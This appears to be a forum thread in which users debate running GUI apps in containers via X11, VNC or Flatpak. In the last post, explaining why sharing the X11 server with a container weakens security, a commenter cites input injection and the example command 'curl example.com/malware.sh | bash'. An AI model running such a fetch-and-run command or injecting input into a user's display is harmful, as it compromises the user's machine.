This is a case where the original X11 client server model would make perfect sense.
Yes, exactly my thought, why not connect to the X11 server
How to run GUI applications directly in containers
31–40 of 40 posts
Re: How to run GUI applications directly in containers
#32This only works on Linux systems. No Mac, fwiw.
Re: How to run GUI applications directly in containers
#33Re: How to run GUI applications directly in containers
#34This is a case where the original X11 client server model would make perfect sense.
Yes, exactly my thought, why not connect to the X11 server
Re: How to run GUI applications directly in containers
#35The linuxserver.io packaged a couple popular GUI apps in container, e.g. Calibre. The container packages a VNC server, and you can access the container using a webVNC. This seems like a great solution for non-GPU-intensive GUI apps.
I remember having to do something similar when I was running a Debian chroot on an Android phone on one of the early Android phones. Haven’t stuck around so I don’t know if VNC is still common to use locally on Android when you want to run other Linux distros with graphical environments on your device. It worked but having to rely on VNC for something that is local on the same machine never felt great to me. Same whe…
Re: How to run GUI applications directly in containers
#36Earlier quoted context omitted.
I think this depends on your use case. As a dev I would take dockerized gui applications over flatpak all day, as it allows me to quickly add additional packages and networking for example. The possibilities would be endless while all can reside in a small docker-compose stack right in the repository.
Your perspective is understandable. When you say "as a dev" it sounds like you really want to be a docker dev but not a flatpak dev: you are used to writing docker files and docker-compose files but you are not interested in writing flatpak apps. That's okay because docker is focused on developers whereas flatpak is more user-centric.
Re: How to run GUI applications directly in containers
#37Earlier quoted context omitted.
Yes, exactly my thought, why not connect to the X11 server
That would completely defeat the security aspect. At that point, you're only using Docker as a software distribution method, which it's terrible at.
Re: How to run GUI applications directly in containers
#38Earlier quoted context omitted.
That would completely defeat the security aspect. At that point, you're only using Docker as a software distribution method, which it's terrible at.
How? You still have process and file system isolation. It’s just another protocol. We talk to containers overs HTTP all the time.
Re: How to run GUI applications directly in containers
#39Re: How to run GUI applications directly in containers
#40Earlier quoted context omitted.
How? You still have process and file system isolation. It’s just another protocol. We talk to containers overs HTTP all the time.
You can grab screenshots, manipulate windows, and inject keyboard and mouse inputs. Find the application menu, open a terminal, curl example.com/malware.sh | bash and hide the window.